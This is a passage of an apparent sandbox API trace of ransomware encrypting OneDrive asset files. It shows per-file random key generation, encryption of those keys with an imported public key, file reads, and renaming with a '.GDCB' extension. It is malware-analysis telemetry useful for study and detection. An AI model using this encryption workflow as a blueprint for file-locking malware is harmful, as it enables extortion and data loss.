dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b8c8) returned 1 [0182.331] CryptGetKeyParam (in: hKey=0x4f2b8c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.331] CryptEncrypt (in: hKey=0x4f2b8c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.332] GetLastError () returned 0x0 [0182.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.332] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.334] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x58a0000 [0182.335] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x58b0000 [0182.336] ReadFile (in: hFile=0x518, lpBuffer=0x58b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x58b0000*, lpNumberOfBytesRead=0x285d160*=0x56d, lpOverlapped=0x0) returned 1 [0182.345] VirtualAlloc (lpAddress=0x0, dwSize=0x570, flAllocationType=0x3000, flProtect=0x4) returned 0x59c0000 [0182.349] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg.gdcb")) returned 0 [0182.352] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.353] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.354] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.354] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.356] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.356] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.356] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.356] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.358] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2b908) returned 1 [0182.358] CryptGetKeyParam (in: hKey=0x4f2b908, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.358] CryptEncrypt (in: hKey=0x4f2b908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.358] GetLastError () returned 0x0 [0182.358] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.358] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.360] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ba08) returned 1 [0182.360] CryptGetKeyParam (in: hKey=0x4f2ba08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.360] CryptEncrypt (in: hKey=0x4f2ba08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.361] GetLastError () returned 0x0 [0182.361] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settingsdisabled.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.363] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0182.365] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.365] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.365] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.366] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.366] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.367] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.368] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.368] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.368] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.370] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ba48) returned 1 [0182.370] CryptGetKeyParam (in: hKey=0x4f2ba48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.370] CryptEncrypt (in: hKey=0x4f2ba48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x58a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.370] GetLastError () returned 0x0 [0182.370] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.370] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0182.372] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bbc8) returned 1 [0182.372] CryptGetKeyParam (in: hKey=0x4f2bbc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.372] CryptEncrypt (in: hKey=0x4f2bbc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x58b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.372] GetLastError () returned 0x0 [0182.372] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.372] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0182.375] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x58c0000 [0182.376] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x58d0000 [0182.377] ReadFile (in: hFile=0x518, lpBuffer=0x58d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x58d0000*, lpNumberOfBytesRead=0x285d160*=0x2ab4, lpOverlapped=0x0) returned 1 [0182.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x59e0000 [0182.414] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg.gdcb")) returned 0 [0182.417] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.419] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.419] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.419] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0182.421] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.422] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.422] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.422] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.424] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2ba88) returned 1 [0182.425] CryptGetKeyParam (in: hKey=0x4f2ba88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.425] CryptEncrypt (in: hKey=0x4f2ba88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x58a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.425] GetLastError () returned 0x0 [0182.425] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.425] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0182.427] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690708) returned 1 [0182.427] CryptGetKeyParam (in: hKey=0x3690708, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.427] CryptEncrypt (in: hKey=0x3690708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x58b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.427] GetLastError () returned 0x0 [0182.428] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.428] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\stackedicecubes.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.428] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0182.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.431] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.431] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.431] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.433] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.433] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.433] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.436] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2bc08) returned 1 [0182.436] CryptGetKeyParam (in: hKey=0x4f2bc08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.436] CryptEncrypt (in: hKey=0x4f2bc08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x58c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0182.436] GetLastError () returned 0x0 [0182.436] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.436] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0182.438] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3691a88) returned 1 [0182.438] CryptGetKeyParam (in: hKey=0x3691a88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.438] CryptEncrypt (in: hKey=0x3691a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x58d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0182.439] GetLastError () returned 0x0 [0182.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\waterglass.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.450] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0182.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.452] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.453] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.454] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.454] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.455] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.457] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f2d448) returned 1 [0182.457] CryptGetKeyParam (in: hKey=0x4f2d448, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.457] CryptEncrypt (in: hKey=0x4f2d448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.457] GetLastError () returned 0x0 [0182.457] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.457] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0182.459] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80cd8) returned 1 [0182.459] CryptGetKeyParam (in: hKey=0x4f80cd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.459] CryptEncrypt (in: hKey=0x4f80cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.460] GetLastError () returned 0x0 [0182.460] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.460] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.462] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.464] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.465] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x1900, lpOverlapped=0x0) returned 1 [0182.494] VirtualAlloc (lpAddress=0x0, dwSize=0x1900, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.499] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html.gdcb")) returned 0 [0182.517] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.520] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.520] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.522] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.522] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.522] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.524] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80a18) returned 1 [0182.524] CryptGetKeyParam (in: hKey=0x4f80a18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.524] CryptEncrypt (in: hKey=0x4f80a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.524] GetLastError () returned 0x0 [0182.524] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.524] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.526] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f809d8) returned 1 [0182.526] CryptGetKeyParam (in: hKey=0x4f809d8, dwParam=0x8, pbData=0x285d21c, 